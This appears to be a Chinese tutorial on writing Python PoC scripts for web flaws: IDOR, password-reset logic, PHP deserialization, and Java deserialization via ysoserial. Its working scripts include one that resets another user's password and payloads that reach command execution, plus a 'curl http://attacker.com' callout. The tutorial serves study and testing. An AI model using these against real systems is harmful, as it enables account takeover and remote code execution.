今天继续来分享web漏洞python poc构造以及原理详解。
一、逻辑漏洞(以 "水平越权" 和 "密码重置逻辑缺陷" 为例)
逻辑漏洞是指因业务流程设计缺陷导致的安全问题,不依赖代码语法错误,而源于 "流程绕过" 或 "权限校验缺失"。以下是两种高频逻辑漏洞的 POC 构造:
1. 水平越权漏洞(Horizontal Privilege Escalation)
原理:水平越权指 "同权限级别的用户可访问 / 修改其他用户的资源"(如普通用户 A 能查看用户 B 的订单),核心原因是 "仅通过前端传参(如user_id)标识用户,未在后端校验该user_id是否属于当前登录用户"。
示例如下:某网站 "个人信息页" URL 为 http://test.com/userinfo?user_id=100,登录用户 A(user_id=100)可查看自己的信息;若修改user_id=101后仍能查看用户 B 的信息,则存在水平越权。
            
            
              python
              
              
            
          
          import requests
def check_horizontal_privilege(url, session_cookie):
    """检测水平越权漏洞:尝试访问其他用户的资源"""
    # 1. 获取当前用户信息
    headers = {
        "Cookie": f"session={session_cookie}",  # 当前登录用户的会话Cookie
        "User-Agent": "Mozilla/5.0"
    }
    
    # 假设当前用户ID为100
    own_id = 100
    own_url = f"{url}?user_id={own_id}"
    own_response = requests.get(own_url, headers=headers, timeout=10)
    own_content = own_response.text
    
    # 2. 尝试访问其他用户的资源(如ID=101)
    target_id = 101
    target_url = f"{url}?user_id={target_id}"
    target_response = requests.get(target_url, headers=headers, timeout=10)
    target_content = target_response.text
    
    # 3. 判断是否越权访问成功
    # 条件:目标用户页面返回200,且内容与当前用户不同(排除"用户不存在"的情况)
    if (target_response.status_code == 200 and 
        "用户不存在" not in target_content and 
        target_content != own_content):
        print(f"[+] 存在水平越权漏洞!可访问用户{target_id}的信息")
        print(f"    验证URL:{target_url}")
        return True
    else:
        print(f"[-] 未检测到水平越权漏洞")
        return False
# 需替换为登录用户的session和目标URL
check_horizontal_privilege(
    url="http://test.com/userinfo",
    session_cookie="xxx-当前用户的session值-xxx"
)构造的思路
核心:对比 "访问自己资源" 和 "访问他人资源" 的响应差异(状态码、内容)。
关键参数:通常是user_id、order_id、task_id等标识资源归属的参数。
2. 密码重置逻辑缺陷(以 "验证码未失效" 为例子)
漏洞原理:密码重置流程中,若 "验证码生成后未绑定用户" 或 "验证成功后未失效",攻击者可通过 "拦截他人的验证码" 或 "重复使用自己的验证码" 重置任意用户密码。
示例如下:某网站密码重置流程:提交手机号→接收验证码→输入验证码→设置新密码。若验证码未与手机号绑定,攻击者可在 "输入验证码" 步骤修改目标手机号,用自己的验证码重置他人密码。
            
            
              python
              
              
            
          
          import requests
def check_password_reset_vuln(send_code_url, verify_code_url):
    """检测密码重置逻辑漏洞:验证码未与手机号绑定"""
    # 1. 向自己的手机号发送验证码(获取有效验证码)
    attacker_phone = "13800138000"
    send_data = {"phone": attacker_phone}
    requests.post(send_code_url, data=send_data, timeout=10)
    attacker_code = input("请输入攻击者手机收到的验证码:")  # 假设为"666666"
    
    # 2. 尝试用自己的验证码重置目标用户的密码
    target_phone = "13900139000"  # 目标用户手机号
    reset_data = {
        "phone": target_phone,  # 修改为目标手机号
        "code": attacker_code,  # 使用攻击者的验证码
        "new_password": "hacked123"  # 新密码
    }
    response = requests.post(verify_code_url, data=reset_data, timeout=10)
    
    # 3. 判断是否重置成功
    if "密码重置成功" in response.text:
        print(f"[+] 存在密码重置逻辑漏洞!已用攻击者验证码重置{target_phone}的密码")
        return True
    else:
        print(f"[-] 未检测到密码重置逻辑漏洞")
        return False
check_password_reset_vuln(
    send_code_url="http://test.com/send_verify_code",  # 发送验证码接口
    verify_code_url="http://test.com/reset_password"   # 验证验证码并重置密码接口
)构造的思路
关键:打破 "验证码 - 用户" 的绑定关系(如修改手机号但复用验证码)。
关键步骤:先获取一个有效验证码,再在验证阶段替换目标用户标识(手机号 / 邮箱)。
二、反序列化漏洞
反序列化漏洞源于 "程序对不可信数据进行反序列化操作",攻击者构造恶意序列化数据,触发对象的特殊方法(如魔术方法)执行恶意代码。不同语言的序列化机制不同,POC 构造差异较大。
1. PHP 反序列化漏洞
原理:PHP 中unserialize()函数处理用户可控数据时,若目标类存在__wakeup()、__destruct()等魔术方法,且方法中包含危险操作(如文件读写、命令执行),则可触发漏洞。
示例如下
            
            
              php
              
              
            
          
          <?php
class Test {
    public $cmd;
    // 析构方法:对象销毁时执行
    function __destruct() {
        system($this->cmd);  // 危险操作:执行命令
    }
}
?>当程序调用unserialize($_GET['data'])时,可构造包含cmd的序列化字符串,触发system()执行命令。
            
            
              python
              
              
            
          
          import requests
import argparse
def generate_php_payload(cmd):
    """生成PHP反序列化恶意payload"""
    # 格式:O:4:"Test":1:{s:3:"cmd";s:len(cmd):"cmd";}
    payload = f'O:4:"Test":1:{{s:3:"cmd";s:{len(cmd)}:"{cmd}";}}'
    return payload
def check_php_unserialize(url, param):
    """检测PHP反序列化漏洞"""
    cmd = "echo PHP_UNSERIALIZE_VULN"  # 测试命令
    payload = generate_php_payload(cmd)
    
    # 发送包含恶意序列化数据的请求
    params = {param: payload}
    response = requests.get(url, params=params, timeout=10)
    
    # 检查是否执行命令
    if "PHP_UNSERIALIZE_VULN" in response.text:
        print(f"[+] 存在PHP反序列化漏洞!")
        print(f"    测试命令:{cmd}")
        print(f"    响应验证:{response.text[:50]}")
        return True
    else:
        print(f"[-] 未检测到PHP反序列化漏洞")
        return False
check_php_unserialize(
    url="http://test.com/vuln.php",  # 存在unserialize的页面
    param="data"  # 接收序列化数据的参数名
)构造的思路
核心:找到包含危险操作的类(魔术方法中调用system()、file_put_contents()等),构造该类的序列化字符串,设置恶意属性(如cmd)。
工具:可用 PHP 代码生成序列化字符串(如$test = new Test(); $test->cmd = 'id'; echo serialize($test);)。
2. Java 反序列化漏洞
原理:Java 反序列化通过ObjectInputStream.readObject()处理数据,若反序列化过程中触发 "恶意类链"(如 Apache Commons Collections 库中的InvokerTransformer),可执行任意命令。
示例如下:应用使用了存在漏洞的 Commons Collections 3.1 库,且接口接收用户可控的序列化数据(如通过POST传输的二进制数据)。
            
            
              python
              
              
            
          
          import requests
import subprocess
def generate_java_payload(cmd, gadget="CommonsCollections1"):
    """使用ysoserial生成Java反序列化payload(需本地有ysoserial.jar)"""
    # 调用ysoserial生成payload
    # 命令:java -jar ysoserial.jar [gadget] [cmd] > payload.bin
    try:
        result = subprocess.check_output(
            f"java -jar ysoserial.jar {gadget} {cmd}",
            shell=True,
            stderr=subprocess.STDOUT
        )
        return result 
    except Exception as e:
        print(f"[!] 生成payload失败:{e}")
        return None
def check_java_unserialize(url):
    """检测Java反序列化漏洞"""
    cmd = "curl http://attacker.com/ok"  # 测试命令
    payload = generate_java_payload(cmd)
    if not payload:
        return False
    
    # 发送二进制序列化数据
    headers = {"Content-Type": "application/octet-stream"}
    response = requests.post(url, data=payload, headers=headers, timeout=15)
    
    # 验证方式:查看攻击者服务器是否收到请求
    if response.status_code in [200, 500]:  # 500可能是命令执行出错但反序列化成功
        print(f"[+] 可能存在Java反序列化漏洞!")
        print(f"    测试命令:{cmd}")
        print(f"    响应状态码:{response.status_code}")
        return True
    else:
        print(f"[-] 未检测到Java反序列化漏洞")
        return False
check_java_unserialize(
    url="http://test.com/deserialize"  # 接收序列化数据的接口
)构造的思路
核心:利用 ysoserial 生成 payload + 检测,利用成熟的 "Gadget 链"(如 CommonsCollections、URLDNS),通过ysoserial工具生成对应 payload。
如何验证:若无法直接读取命令输出,可通过 "DNSlog"(如nslookup xxxx.dnslog.cn)或 "HTTP 请求" 验证命令是否执行。
java反序列化的难度是更大的,因为需要构建攻击链来进行反序列化。对比如下
|--------|--------------------------------------|--------------------------------|
| 对比维度   | PHP 反序列化漏洞                           | Java 反序列化漏洞                    |
| 序列化格式  | 明文字符串(易构造、易调试)                       | 二进制流(需工具生成,如 ysoserial)        |
| 核心触发点  | 魔术方法(__wakeup()、__destruct()等)       | 重写的readObject()方法              |
| 利用链复杂度 | 低(多为单个类的魔术方法直接触发)                    | 高(需串联多个类形成利用链,依赖第三方库)          |
| 影响范围   | 主要影响 PHP 脚本 / 框架(如 ThinkPHP、Laravel) | 影响所有 Java 应用(含企业级服务器、框架)       |
| 典型依赖   | 自身语法特性(魔术方法)                         | 第三方库(Commons Collections)或框架组件 |
但是两者的危害基本都是高危害的,核心危害比如远程代码执行(RCE)。完全控制服务器:执行任意系统命令(如whoami、rm -rf /),获取服务器权限。